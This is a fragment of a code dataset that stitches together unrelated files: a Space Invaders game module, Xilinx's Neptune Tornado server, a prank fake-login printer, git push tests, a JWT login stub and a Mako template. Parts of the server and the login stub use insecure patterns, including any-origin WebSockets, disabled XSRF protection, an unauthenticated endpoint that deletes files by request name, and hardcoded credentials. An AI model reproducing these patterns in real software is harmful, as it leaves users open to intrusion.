user input, used to control the game\n Precondition: Instance of GInput and attribute of Invaders\n \n Parameter dt: The time in seconds since last update\n Precondition: dt is a number (int or float)\n \"\"\"\n if self._isGameOver():\n self._gameover = True\n else:\n self._moveAliens(dt)\n if not(self._ship is None):\n self._ship.moveShip(input)\n self._createPlayerBolts(input)\n if self._ship == None:\n self._ship = Ship()\n self._bolts = []\n if not (not self._bolts):\n self._moveBolts()\n self._detectCollision()\n\n \n # DRAW METHOD TO DRAW THE SHIP, ALIENS, DEFENSIVE LINE AND BOLTS\n def draw(self, view):\n \"\"\"\n Draws the shapes in the view provided\n \n Parameter view: the game view, used in drawing\n Precondition: instance of GView and Invaders\n \"\"\"\n if not (self._ship is None):\n self._ship.draw(view)\n self._dline.draw(view)\n \n for row in range(len(self._aliens)):\n for col in range(len(self._aliens[row])):\n if not(self._aliens[row][col] is None):\n self._aliens[row][col].draw(view)\n \n for x in range(len(self._bolts)):\n self._bolts[x].draw(view)\n \n \n def _createAlienWave(self):\n \"\"\"\n Returns: Created alien wave when the game begins\n \n This is a helper method that creates a wave of aliens. It does this by\n filling the _aliens 2d list with alien objects. It draws ALIEN_ROWS rows\n of aliens with ALIENS_IN_ROW many aliens in each row.\n \n Each row is an element of _aliens list and each row will be a list of\n Alien object. \n \"\"\"\n x_pos = ALIEN_H_SEP + (ALIEN_WIDTH//2)\n y_pos = GAME_HEIGHT - (ALIEN_CEILING + (ALIEN_ROWS*ALIEN_HEIGHT) + ((ALIEN_ROWS-1)*ALIEN_V_SEP))\n init_x = x_pos\n list = []\n \n for row in range(ALIEN_ROWS):\n list.append([])\n \n if row % 6 == 0 or row % 6 == 1:\n picture = 0\n elif row % 6 == 2 or row % 6 == 3:\n picture = 1\n else:\n picture = 2\n \n for col in range(ALIENS_IN_ROW):\n alien = Alien(x_pos, y_pos, ALIEN_IMAGES[picture])\n list[row].append(alien)\n x_pos = x_pos + ALIEN_H_SEP + ALIEN_WIDTH\n y_pos = y_pos + ALIEN_V_SEP + ALIEN_HEIGHT\n x_pos = init_x\n \n return list\n \n \n def _moveAliens(self, dt):\n \"\"\"\n Moves aliens back and forth the screen.\n \n This is a helper method called int he update() function to move the\n aliens back and forth when the game is active.\n \n Parameter dt: The time in seconds since last update\n Precondition: dt is a number (int or float)\n \"\"\"\n self._time += dt\n \n if self._time > ALIEN_SPEED:\n if self._direction == 'right':\n self._moveAlienToRight()\n elif self._direction == 'left':\n self._moveAlienToLeft()\n if self._step == self._firespeed:\n self._fireAlienBolt()\n self._time = 0\n \n \n def _moveAlienToRight(self): # USE GETTERS/SETTERS FOR ALIEN X AND Y\n \"\"\"\n Moves the aliens to the right\n \"\"\"\n rightalien = self._rightmostAlien()\n if GAME_WIDTH - rightalien.getAlienX() <= (ALIEN_H_SEP + ALIEN_WIDTH/2):\n self._moveAlienDown()\n self._direction = 'left'\n else:\n for row in range(len(self._aliens)):\n for alien in range(len(self._aliens[row])):\n if not(self._aliens[row][alien] is None):\n x = self._aliens[row][alien].getAlienX()\n x = x + ALIEN_H_WALK\n self._aliens[row][alien].setAlienX(x)\n self._step +=1\n \n \n def _moveAlienToLeft(self): \n \"\"\"\n Moves the aliens to the left\n \"\"\"\n leftalien = self._leftmostAlien()\n if leftalien.getAlienX() <= (ALIEN_H_WALK + ALIEN_WIDTH/2): \n self._moveAlienDown()\n self._direction = 'right'\n else:\n for row in range(len(self._aliens)):\n for alien in range(len(self._aliens[row])):\n if not(self._aliens[row][alien] is None):\n x = self._aliens[row][alien].getAlienX()\n x = x - ALIEN_H_WALK\n self._aliens[row][alien].setAlienX(x)\n self._step += 1\n \n \n def _rightmostAlien(self):\n \"\"\"\n Returns the right most alien in the wave\n \"\"\"\n x = 0\n for row in range(len(self._aliens)):\n for col in range(len(self._aliens[row])):\n if not(self._aliens[row][col] is None) and self._aliens[row][col].getAlienX() > x:\n alien = self._aliens[row][col]\n x = alien.getAlienX()\n return alien\n \n \n def _leftmostAlien(self):\n \"\"\"\n Returns the left most alien in the wave\n \"\"\"\n x = GAME_WIDTH\n for row in range(len(self._aliens)):\n for col in range(len(self._aliens[row])):\n if not(self._aliens[row][col] is None) and self._aliens[row][col].getAlienX() < x:\n alien = self._aliens[row][col]\n x = alien.getAlienX()\n return alien\n \n \n def _moveAlienDown(self): \n \"\"\"\n Moves aliens down\n \"\"\"\n for row in range(len(self._aliens)):\n for alien in range(len(self._aliens[row])):\n if not(self._aliens[row][alien] is None):\n y = self._aliens[row][alien].getAlienY()\n y = y - ALIEN_V_WALK\n self._aliens[row][alien].setAlienY(y)\n \n \n def _createPlayerBolts(self, input):\n \"\"\"\n Creates a laser bolt when the player presses a fire key (spacebar)\n \n This methods create a Bolt object when a fire command is detected. The\n Bolt object has the same x position as the ship and it will be placed\n right in front of the ship's nose. These Bolt objects are stored in the\n _bolts attribute.\n \n Parameter input: the user input, used to control the game\n Precondition: Instance of GInput and attribute of Invaders\n \"\"\"\n if input.is_key_down('spacebar') and self._previouskeys == 0 and self._allowPlayerFire():\n obj = Bolt(self._ship.getShipX(), (self._ship.getShipY()+SHIP_HEIGHT/2),\n BOLT_WIDTH, BOLT_HEIGHT, 'black', 'up')\n self._bolts.append(obj)\n self._previouskeys = input.key_count\n \n \n def _createAlienBolts(self, alien):\n \"\"\"\n Creates a laser bolt to be fired by aliens\n \n This method creates a Bolt object to be fired by an alien and add it to\n the _bolts list.\n \n Parameter alien: alien that will fire the bolt\n Precondition: alien is an Alien object from the 2D list _aliens.\n \"\"\"\n obj = Bolt(alien.getAlienX(), (alien.getAlienY()-ALIEN_HEIGHT/2), BOLT_WIDTH,\n BOLT_HEIGHT, 'green', 'down')\n self._bolts.append(obj)\n \n \n def _allowPlayerFire(self):\n \"\"\"\n Returns True if player can fire, False otherwise\n \"\"\"\n fire = True\n \n for x in range(len(self._bolts)):\n if self._bolts[x].isPlayerBolt():\n fire = False\n \n return fire\n \n \n def _fireAlienBolt(self):\n \"\"\"\n Picks aliens from wave to fire and fires bolt randomly\n \"\"\"\n random_col = self._randomNonEmptyColumn()\n \n #bottommost element in random col\n alien = self._bottomMostAlien(random_col)\n if not(alien is None):\n self._createAlienBolts(alien)\n self._step = 0\n self._firespeed = random.randint(1, BOLT_RATE)\n \n \n def _randomNonEmptyColumn(self):\n \"\"\"\n Returns a random nonempty column in aliens wave\n \"\"\"\n #determine non-empty columns\n row = 0\n col = 0\n nonEmptyCols = []\n emptyCol = True\n while col < len(self._aliens[row]):\n if not (self._aliens[row][col] is None):\n emptyCol = False\n row = row + 1\n if row == len(self._aliens):\n row = 0\n nonEmptyCols.append(col)\n col = col + 1\n \n return nonEmptyCols[random.randint(0,len(nonEmptyCols)-1)] #pick a random nonempty col\n \n \n def _bottomMostAlien(self, col):\n \"\"\"\n Returns the bottom most alien object in the column\n \n Parameter col: column in which the bottommost alien needs to be found\n Precondition: col is a valid col number within the aliens 2D list\n \"\"\"\n alien = None\n min_y = GAME_HEIGHT\n for row in range(len(self._aliens)):\n if not(self._aliens[row][col] is None) and self._aliens[row][col].getAlienY() < min_y:\n min_y = self._aliens[row][col].getAlienY()\n alien = self._aliens[row][col]\n \n return alien\n \n \n def _moveBolts(self):\n \"\"\"\n Move bolts across the screen and delete them when they go off screen\n \"\"\"\n x = 0\n while x < len(self._bolts):\n y = self._bolts[x].getBoltY()\n y += self._bolts[x].getVelocity()\n self._bolts[x].setBoltY(y)\n \n #delete bolt when they go off screen, above or below\n if self._bolts[x].getBoltY() > GAME_HEIGHT or self._bolts[x].getBoltY() <= 0:\n del self._bolts[x]\n else:\n x = x+1\n \n \n # HELPER METHODS FOR COLLISION DETECTION\n def _detectCollision(self):\n x = 0\n condition = True\n while x < len(self._bolts) and condition == True and not(self._ship is None):\n if self._detectAlienCollision(self._bolts[x]) == True:\n del self._bolts[x]\n else:\n self._detectShipCollision(self._bolts[x])\n x = x+1\n \n \n def _detectAlienCollision(self, bolt):\n \"\"\"\n Returns: True if detects collision between aliens in the wave and laser bolt by player\n \n This method detects collision between aliens and the laser bolt passed\n as argument. If there is collision, this method sets the alien that had\n collided to None, deletes the bolt and returns True. It returns False\n otherwise.\n \n Parameter bolt: The laser bolt to check\n Precondition: bolt is of class Bolt\n \"\"\"\n collision = False\n for row in range(len(self._aliens)):\n for col in range(len(self._aliens[row])):\n if collision == False and not(self._aliens[row][col] is None) and self._aliens[row][col].collides(bolt):\n self._aliens[row][col] = None\n collision = True\n return collision\n \n \n def _detectShipCollision(self, bolt):\n \"\"\"\n Returns: True if detects collision between ship and laser bolt by aliens\n \n This method detects collision between the ship and the laser bolt passed\n as argument. If there is collision, this method sets the ship that had\n collided to None, deletes the bolt and returns true. It returns False\n otherwise.\n \n Parameter bolt: The laser bolt to check\n Precondition: bolt is of class Bolt\n \"\"\"\n collision = False\n if self._ship.collides(bolt):\n self._ship = None\n del bolt\n collision = True\n self._lives -= 1\n return collision\n \n \n def _isGameOver(self):\n \"\"\"\n Returns bool after checking if the game is over\n \n This methods checks if (1) all the aliens are killed or (2) any alien\n dips below the defense line. If either of the cases happen, this method\n returns True. It returns False otherwise. \n \"\"\"\n emptywave = True\n dipped = False\n \n for row in range(len(self._aliens)):\n for col in range(len(self._aliens[row])):\n if not (self._aliens[row][col] is None):\n emptywave = False\n if self._aliens[row][col].getAlienY() <= DEFENSE_LINE:\n dipped = True\n \n if emptywave:\n self._won = True\n\n return emptywave or dipped\n ","sub_path":"wave.py","file_name":"wave.py","file_ext":"py","file_size_in_byte":18197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"150486803","text":"#!/usr/bin/python\n# Copyright 2019 Xilinx Inc.\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# logging should be setup first so imported modules' logging is configured too\nimport os\nfrom vai.dpuv1.rt import logging_mp\nlog_file = os.environ['VAI_ALVEO_ROOT'] + \"/neptune/logging.ini\"\nlogging_mp.setup_logger(log_file, 'neptune')\n\nfrom datetime import datetime\nimport json\nimport signal\nimport threading\nimport time\nimport tornado.ioloop\nimport tornado.web\nimport tornado.websocket\nimport uuid\nimport importlib\nimport logging\nimport six\nif six.PY3:\n import asyncio\n\nimport numpy as np\nfrom tornado.options import define, options, parse_command_line\nif six.PY3:\n from tornado.platform.asyncio import AnyThreadEventLoopPolicy\n\nfrom neptune.common import DummyClass, list_submodules, hinted_tuple_hook\nif six.PY3:\n from neptune.common_py3 import cancel_async_tasks\nelse:\n from neptune.common import cancel_async_tasks\nimport neptune.construct as construct\nfrom neptune.service_manager import ServiceManager\nfrom neptune.node_manager import NodeManager\nfrom vai.dpuv1.rt import xstream\n\ndefine(\"port\", default=8998, help=\"run web server on this port\", type=int)\ndefine(\"wsport\", default=8999, help=\"run websocket server on this port\", type=int)\ndefine(\"debug\", default=True, help=\"run in debug mode\")\n\nlogger = logging.getLogger(__name__)\n\nclass IndexHandler(tornado.web.RequestHandler):\n def get(self, *args):\n self.render(\"index.html\", wsport=options.wsport)\n\nclass ListServiceHandler(tornado.web.RequestHandler):\n def get(self, *args):\n ret = {'services': []}\n try:\n services_list = ServiceManager().list()\n services = []\n for name, svc in services_list.items():\n services.append({\n 'name': name,\n 'state': svc['state'],\n 'url': svc['url'],\n 'throughput': svc['throughput']\n })\n services.sort(key=lambda x: x['name'])\n ret = {'services': services}\n except Exception as e:\n logger.exception(\"List service error\")\n self.write(json.dumps(ret, sort_keys=True))\n\nclass QueryServiceHandler(tornado.web.RequestHandler):\n def get(self, *args):\n service_name = self.get_argument(\"service\")\n ret = {}\n try:\n services_list = ServiceManager().list()\n if service_name in services_list:\n ret = services_list[service_name]\n del ret['service']\n except Exception as e:\n logger.exception(\"Query service error\")\n self.write(json.dumps(ret, sort_keys=True))\n\nclass StartServiceHandler(tornado.web.RequestHandler):\n def get(self, *args):\n service_name = self.get_argument(\"id\")\n runtime_args = self.get_argument(\"args\", {})\n\n ServiceManager().start(service_name, runtime_args)\n self.write(\"service started\")\n\n def post(self, *args):\n data = json.loads(self.request.body)\n\n service_name = data[\"id\"] # in unicode\n runtime_args = data[\"args\"] if 'args' in data else {}\n\n ServiceManager().start(service_name, runtime_args)\n\n self.write(\"service started\")\n\nclass StopServiceHandler(tornado.web.RequestHandler):\n def get(self, *args):\n service_name = self.get_argument(\"id\")\n ServiceManager().stop(service_name)\n self.write(\"service stopped\")\n\nclass ConstructServiceHandler(tornado.web.RequestHandler):\n\n def get(self, *args):\n self.write(\"POST a recipe to this address to construct it\")\n\n def post(self, *args):\n \"\"\"\n Parse JSON arguments in POST body. In Requests module, use json key to\n pass in arguments, not data (which may clobber JSON objects)\n \"\"\"\n recipe = json.loads(self.request.body, object_hook=hinted_tuple_hook)\n\n tornado_handler = construct.construct(recipe)\n name = str(recipe['name'])\n url = str(recipe['url'])\n\n self.application.add_handlers(\n r\".*\", # match any host\n tornado_handler\n )\n self.write(\"service %s constructed at /serve/%s\" % (name, url))\n\n# FIXME clients being able to destroy services others may be using is problematic\nclass DestructServiceHandler(tornado.web.RequestHandler):\n\n def _destroy(self):\n url = str(self.get_argument(\"url\"))\n name = str(self.get_argument(\"name\"))\n\n fake_request = DummyClass()\n found_index = -1\n\n # There's no method in Tornado to delete an added handler currently.\n # By examining the source, the code below works to do so. If Tornado\n # adds an API to do this, this code should be replaced. It may also\n # break with changes to Tornado (tested with Tornado 5.1.1 on 8/15/2019)\n for index, parent_rule in enumerate(self.application.default_router.rules):\n rules = parent_rule.target.rules\n for rule in rules:\n fake_request.path = r\"/serve/\" + url\n if isinstance(rule.matcher.match(fake_request), dict):\n found_index = index\n\n return found_index, name, url\n\n def get(self, *args):\n self.write(\"POST the name and url of the service to destroy\") # TODO only should specify one\n def post(self, *args):\n found_index, name, url = self._destroy()\n\n if found_index != -1:\n del self.application.default_router.rules[found_index]\n ServiceManager().remove(name)\n recipe_cache = os.environ[\"VAI_ALVEO_ROOT\"] + \"/neptune/recipes/recipe_%s.bak\" % name\n os.remove(recipe_cache)\n self.write(\"service destroyed at /serve/%s\" % url)\n else:\n self.write(\"Service %s cannot be destroyed as it does not exist\" % name)\n\nclass RenderHandler(tornado.web.RequestHandler):\n\n def get(self, *args):\n url = self.request.uri\n url_arg = url.split('/')[-1]\n html = url_arg + \".html\"\n self.render(html, wsport=options.wsport)\n\nclass RequestIdGenerator(object):\n def __init__(self):\n self.handler_ids = {}\n\n def get(self, name='__default__'):\n if name not in self.handler_ids:\n self.handler_ids[name] = 0\n\n curr_id = self.handler_ids[name]\n self.handler_ids[name] = (curr_id + 1) % 10000 # wraparound\n return curr_id\n\nclass WebSocketHandler(tornado.websocket.WebSocketHandler):\n clientConnections = []\n\n def __init__(self, *args, **kwargs):\n super(WebSocketHandler, self).__init__(*args, **kwargs)\n print(\"[WS] websocket ready\")\n\n def open(self):\n self.id = str(uuid.uuid4())\n self.last_send = None\n\n print(\"[WS] websocket opened %s\" % self.id)\n self.send('id', self.id)\n WebSocketHandler.clientConnections.append(self)\n\n def on_message(self, messageStr):\n try:\n print('[WS] message received from %s: %s' % (self.id, messageStr))\n message = json.loads(messageStr)\n if message['topic'] == 'update_id':\n origId = message['id']\n self.id = origId # take over original id\n except:\n pass\n\n def on_close(self):\n print(\"[WS] websocket closed %s\" % self.id)\n WebSocketHandler.clientConnections.remove(self)\n\n def send(self, topic, msg):\n if not msg:\n return\n\n now = time.time()\n if self.last_send and (now - self.last_send) < 0.05:\n # don't flood the client with too many messages; drop\n return\n self.last_send = now\n\n try:\n msg_POD = {}\n msg_POD['time'] = datetime.now().isoformat()\n msg_POD['topic'] = topic\n msg_POD['message'] = msg\n self.write_message(json.dumps(msg_POD))\n except Exception as e:\n print(e)\n\n @staticmethod\n def send_to_client(id, topic, msg):\n try:\n for c in WebSocketHandler.clientConnections:\n if c.id == id:\n c.send(topic, msg)\n except:\n pass\n\n @staticmethod\n def broadcast(topic, msg):\n try:\n for c in WebSocketHandler.clientConnections:\n c.send(topic, msg)\n except:\n pass\n\n def check_origin(self, origin):\n return True\n\nclass ServerWebApplication(tornado.web.Application):\n def __init__(self):\n self.request_id_gen = RequestIdGenerator()\n handlers = self.init_handlers()\n\n super(ServerWebApplication, self).__init__(\n handlers,\n cookie_secret=\"COOKIE_SECRET\",\n template_path=os.path.join(os.path.dirname(__file__), \"templates\"),\n static_path=os.path.join(os.path.dirname(__file__), \"static\"),\n xsrf_cookies=False, #? should be true?\n autoreload=False,\n debug=options.debug\n )\n\n def init_handlers(self):\n \"\"\"\n Define the basic REST handlers. These cannot be destroyed.\n\n Returns:\n List: List of handler tuples for initializing a Tornado web app\n \"\"\"\n handlers = []\n handlers.append((r\"/\", IndexHandler))\n\n handlers.append((r\"/services/list\", ListServiceHandler))\n handlers.append((r\"/services/query\", QueryServiceHandler))\n handlers.append((r\"/services/start\", StartServiceHandler))\n handlers.append((r\"/services/stop\", StopServiceHandler))\n handlers.append((r\"/services/construct\", ConstructServiceHandler))\n handlers.append((r\"/services/destruct\", DestructServiceHandler))\n handlers.append((r\"/render/([^/]+)\", RenderHandler))\n return handlers\n\nclass ServerApp(object):\n def __init__(self):\n signal.signal(signal.SIGINT, self.signal_handler)\n # signal.signal(signal.SIGQUIT, self.sigquit_handler)\n self.do_exit = False\n self.hbeat_id = 0\n self.hbeat = 0\n # self.do_restart = False\n\n self.xserver = xstream.Server()\n parse_command_line()\n\n self.web_app = ServerWebApplication()\n # Add handlers for default services here so they can be destroyed if\n # needed. Handlers installed in the web_app __init__ cannot be destroyed.\n recipes = self.get_recipes()\n for recipe in recipes:\n tornado_handler = construct.construct(recipe)\n\n self.web_app.add_handlers(\n r\".*\", # match any host\n tornado_handler\n )\n self.web_server = self.web_app.listen(options.port)\n self.ws_app = tornado.web.Application([(r\"/\", WebSocketHandler)])\n self.ws_server = self.ws_app.listen(options.wsport)\n\n self.xspub = xstream.Publisher()\n self.xs2server = threading.Thread(target=ServerApp.xstream2server)\n self.xs2server.start()\n self.heartbeat_thread = threading.Thread(target=ServerApp.heartbeat, args=(lambda: self.do_exit,))\n self.heartbeat_thread.start()\n\n @staticmethod\n def get_recipes():\n \"\"\"\n Get all recipes from the recipes folder. If recipe_*.bak files exist,\n use those to construct services. Otherwise, construct from source using\n the default recipe functions.\n \"\"\"\n recipes = []\n recipes_cache = os.environ[\"VAI_ALVEO_ROOT\"] + \"/neptune/recipes/\"\n file_names = [fn for fn in os.listdir(recipes_cache)\n if fn.startswith('recipe_') and fn.endswith('.bak')]\n if file_names:\n logger.info(\"Constructing services from cache\")\n for file_name in file_names:\n with open(recipes_cache + file_name) as f:\n recipes.append(json.load(f, object_hook=hinted_tuple_hook))\n else:\n logger.info(\"Constructing services from source\")\n modules = list_submodules('neptune.recipes')\n for module_path in modules:\n module = importlib.import_module(module_path)\n attrs = dir(module)\n for attr in attrs:\n if attr.startswith('recipe_'):\n recipe = getattr(module, attr)\n if callable(recipe):\n recipes.append(recipe().to_dict())\n return recipes\n\n @staticmethod\n def xstream2server():\n xs = xstream.Subscribe(\"__server__\")\n while True:\n # subscribe to special \"__server__\" channel for\n # other processes to send messages to this server\n # e.g. speedodata -> websockets\n msg_str = xs.get_msg()\n if msg_str is None:\n break\n\n try:\n msg = json.loads(msg_str)\n if msg['topic'] == 'speedodata':\n WebSocketHandler.broadcast(msg['topic'], msg['message'])\n elif msg['topic'] == 'callback' and 'callback_id' in msg:\n # print(\"sending callback message\")\n # print(msg['message'])\n WebSocketHandler.send_to_client(\\\n msg['callback_id'], msg['topic'], msg['message'])\n elif msg['topic'] == 'xs_throughput':\n report = json.loads(msg['message'])\n #print(report)\n for name, throughput in report.items():\n serviceName = name.split('.')[0]\n edgeName = name[name.find('.')+1:]\n ServiceManager().update_throughput_stats(serviceName,\n edgeName, throughput)\n except:\n pass\n\n cancel_async_tasks()\n\n @staticmethod\n def heartbeat(stop):\n xs = xstream.Subscribe(\"__heartbeat__\", timeout=5000)\n service_manager = ServiceManager()\n node_status = {}\n\n def check_services(node_status):\n if stop:\n return\n invalid_services = []\n for service, status in node_status.items():\n last_valid = status['last_valid']\n service_state = service_manager._services[service]['state']\n is_starting = service_state == service_manager.STARTING\n is_started = service_state == service_manager.STARTED\n\n # if the service has been stopped, clear it\n if service_state == service_manager.STOPPED:\n invalid_services.append(service)\n # if there's a discrepancy in what the service_manager says\n # and what we have cached, clear it\n elif is_starting and node_status[service]['is_started']:\n invalid_services.append(service)\n # if it's started and hasn't been valid in the last n secs,\n # restart it\n elif is_started and now - last_valid > 5:\n logger.warning(\"Service %s is dead, restarting\" % service)\n service_manager.stop(service)\n service_manager.start(service)\n node_status[service]['is_started'] = False\n\n for service in invalid_services:\n del node_status[service]\n\n logger = logging.getLogger(__name__)\n\n while True:\n if stop():\n break\n # when enabling coverage, this line will raise an exception for some\n # reason. For now, just catching it\n try:\n msg_str = xs.get_msg()\n now = time.time()\n except Exception:\n logger.exception(\"Shouldn't happen\")\n\n # the get_msg timed out, i.e. no heartbeats received\n if msg_str == (None, None):\n check_services(node_status)\n continue\n msg = json.loads(msg_str)\n service = msg['service']\n channel = msg['channel']\n\n # if this is the first time we've seen this service\n if service not in node_status:\n _first_edge, last_edge = service_manager._get_graph_io(service)\n node_status[service] = {\n 'last_valid': 0, # saves the last time this service was valid\n 'is_started': False, # our check that services haven't stopped\n 'last_edge': last_edge[0], # saves the last edge of the service\n 'channels': {} # save heartbeat times for each channel\n }\n node_status[service]['channels'][channel] = now\n service_state = service_manager._services[service]['state']\n if node_status[service]['last_edge'] == channel:\n if service_state == service_manager.STARTING:\n if not node_status[service]['is_started']:\n service_manager._services[service]['state'] = service_manager.STARTED\n node_status[service]['is_started'] = True\n else:\n # there's a discrepancy. For example, the service may\n # have been stopped and something else started with\n # the same name. In this case, clear the cache\n del node_status[service]\n continue\n node_status[service]['last_valid'] = now\n\n check_services(node_status)\n\n cancel_async_tasks()\n\n def launch(self):\n tornado.ioloop.PeriodicCallback(self.check_exit, 500).start()\n loop = tornado.ioloop.IOLoop.instance()\n loop.start()\n loop.close()\n\n def signal_handler(self, signum, frame):\n logger.status(\"Shutting down server...\")\n ServiceManager().stop_all()\n self.do_exit = True\n\n # def sigquit_handler(self, signum, frame):\n # print(\"restarting server...\")\n # ServiceManager().stop_all()\n # self.do_restart = True\n\n def check_exit(self):\n if self.do_exit:\n self.xspub.end(\"__server__\")\n self.xs2server.join()\n self.heartbeat_thread.join()\n self.ws_server.stop()\n self.web_server.stop()\n cancel_async_tasks()\n del self.xserver\n elif self.hbeat > 4:\n self.hbeat = 0\n service_manager = ServiceManager()\n services_list = service_manager.list()\n started_services = []\n for name, svc in services_list.items():\n if svc['state'] >= service_manager.STARTING:\n started_services.append(name)\n for service in started_services:\n msg = json.dumps({\n '__heartbeat__': service,\n 'id': 'hbeat_' + str(self.hbeat_id)\n })\n service_manager.send(service, 0, np.zeros(1), msg)\n self.hbeat_id = (self.hbeat_id + 1) % 9999\n else:\n self.hbeat += 1\n # the restarted server is unresponsive. We don't need this functionality\n # right now but if needed, it needs to be debugged.\n # if self.do_restart:\n # self.xspub.end(\"__server__\")\n # self.xs2server.join()\n # self.ws_server.stop()\n # self.web_server.stop()\n # del self.xserver\n # tornado.ioloop.IOLoop.instance().stop()\n # self.do_restart = False\n\n # ServiceManager()._drop()\n # NodeManager()._drop()\n # xstream.Statistics()._drop()\n\n # main()\n\ndef main():\n logging_directory = os.environ['VAI_ALVEO_ROOT'] + '/neptune/logs/'\n log_name = '_{:%Y-%m-%d}.log'.format(datetime.now())\n with open(logging_directory + 'neptune' + log_name, 'a') as f:\n f.write(\"################################################################\\n\")\n\n # https://github.com/tornadoweb/tornado/issues/2531\n if six.PY3:\n asyncio.set_event_loop_policy(AnyThreadEventLoopPolicy())\n\n app = ServerApp()\n app.launch()\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"proj/fpga/ultra96/camera/Vitis-AI/alveo/neptune/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":20531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"70157847","text":"\nfrom random import randint\nboll = False\nwhile True:\n print(\"\\nGet access ID: \",randint(0,100))\n\n print(\"\\n LoginID: \",randint(0,1000000)*(0.001),)\n print(\"\\n Senha: \",randint(100000,999999))\n\n a = randint(0,100000)\n if a >= 99999:\n boll = True\n else:\n boll = False\n print(\"\\n TryAccess: \",boll)\n\n\n\n if(boll):\n print(\"Access Granted for last ID\")\n print(\"Exiting\")\n quit()\n","sub_path":"trollLibrary.py","file_name":"trollLibrary.py","file_ext":"py","file_size_in_byte":447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"598857169","text":"## Copyright (c) 2012-2015 Aldebaran Robotics. All rights reserved.\n## Use of this source code is governed by a BSD-style license that can be\n## found in the COPYING file.\nfrom qisrc.test.conftest import TestGitWorkTree, TestGit\nimport qisrc.git\n\ndef test_not_under_code_review(qisrc_action, git_server):\n foo_repo = git_server.create_repo(\"foo.git\")\n qisrc_action(\"init\", git_server.manifest_url)\n git_worktree = TestGitWorkTree()\n foo_proj = git_worktree.get_git_project(\"foo\")\n foo_git = TestGit(foo_proj.path)\n foo_git.commit_file(\"a.txt\", \"a\")\n qisrc_action(\"push\", \"foo\")\n _, sha1 = foo_git.call(\"log\", \"-1\", \"--pretty=%H\", raises=False)\n (_, remote) = foo_git.call(\"ls-remote\", \"origin\", \"master\", raises=False)\n assert remote == \"%s\\trefs/heads/master\" % sha1\n\ndef test_publish_changes(qisrc_action, git_server):\n foo_repo = git_server.create_repo(\"foo.git\", review=True)\n qisrc_action(\"init\", git_server.manifest_url)\n git_worktree = TestGitWorkTree()\n foo_proj = git_worktree.get_git_project(\"foo\")\n foo_git = TestGit(foo_proj.path)\n foo_git.commit_file(\"a.txt\", \"a\")\n qisrc_action(\"push\", \"foo\")\n _, sha1 = foo_git.call(\"log\", \"-1\", \"--pretty=%H\", raises=False)\n (_, remote) = foo_git.call(\"ls-remote\", \"gerrit\", \"refs/for/master\", raises=False)\n assert remote == \"%s\\trefs/for/master\" % sha1\n","sub_path":"python/qisrc/test/test_qisrc_push.py","file_name":"test_qisrc_push.py","file_ext":"py","file_size_in_byte":1364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"621410382","text":"import jwt\nimport yaml\n\nwith open('./config.yml') as fle:\n config = yaml.load(fle)\n\ndef login(data): \n if(data['email'] == 'alice.bob@mail.com' and data['password'] == 'password') :\n userInfo = {\n 'id': 1,\n 'firstname': 'Alice',\n 'lastname': 'Bob',\n 'email': 'alice.bob@mail.com'\n }\n\n jwt_token = jwt.encode(userInfo, config['JWT_SECRET'], config['JWT_ALGORITHM'])\n\n return {\n 'message': 'Logged in as {}'.format(userInfo['firstname']),\n 'jwt_token': '{}'.format(jwt_token)\n }\n else:\n return {'message': 'Wrong credentials'}\n\ndef checkAuth(data):\n if(data[\"jwt_token\"]):\n return jwt.decode(data[\"jwt_token\"], config['JWT_SECRET'], config['JWT_ALGORITHM'])","sub_path":"services/authentification/resources/userLogin.py","file_name":"userLogin.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"335049316","text":"# -*- encoding:ascii -*-\nfrom mako import runtime, filters, cache\nUNDEFINED = runtime.UNDEFINED\n__M_dict_builtin = dict\n__M_locals_builtin = locals\n_magic_number = 8\n_modified_time = 1375778931.780622\n_enable_loop = True\n_template_filename = '/python projects/garlic/gsite/gsite/static/templates/grid.mak'\n_template_uri = '/python projects/garlic/gsite/gsite/static/templates/grid.mak'\n_source_encoding = 'ascii'\n_exports = []\n\n\ndef render_body(context,args,**pageargs):\n __M_caller = context.caller_stack._push_frame()\n try:\n __M_locals = __M_dict_builtin(args=args,pageargs=pageargs)\n range = context.get('range', UNDEFINED)\n __M_writer = context.writer()\n # SOURCE LINE 1\n __M_writer('\\r\\n.container {\\r\\n width: 100%;\\r\\n margin-right: auto;\\r\\n margin-left: auto;\\r\\n}\\r\\n')\n # SOURCE LINE 7\n for x in range(1, args.grid.columns+1):\n # SOURCE LINE 8\n __M_writer('.span')\n __M_writer(str(x))\n __M_writer(' {\\r\\n width: ')\n # SOURCE LINE 9\n __M_writer(str(args.grid.column_width * x - (args.grid.column_gap if x < args.grid.columns+1 else 0 )))\n __M_writer('px;\\r\\n}\\r\\n')\n # SOURCE LINE 12\n __M_writer('\\r\\n.container:before,\\r\\n.container:after {\\r\\n display: table;\\r\\n content: \" \";\\r\\n}\\r\\n\\r\\n.container:after {\\r\\n clear: both;\\r\\n}\\r\\n\\r\\n.row:before,\\r\\n.row:after {\\r\\n display: table;\\r\\n content: \" \";\\r\\n}\\r\\n\\r\\n.row:after {\\r\\n clear: both;\\r\\n}\\r\\n\\r\\n')\n return ''\n finally:\n context.caller_stack._pop_frame()\n\n\n","sub_path":"_temp_/python projects/garlic/gsite/gsite/static/templates/grid.mak.py","file_name":"grid.mak.py","file_ext":"py","file_size_in_byte":1613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"480357328","text":"from datetime import datetime\nfrom dimagi.utils.parsing import json_format_datetime\nfrom corehq.apps.app_manager.models import Application, RemoteApp, LinkedApplication\nfrom 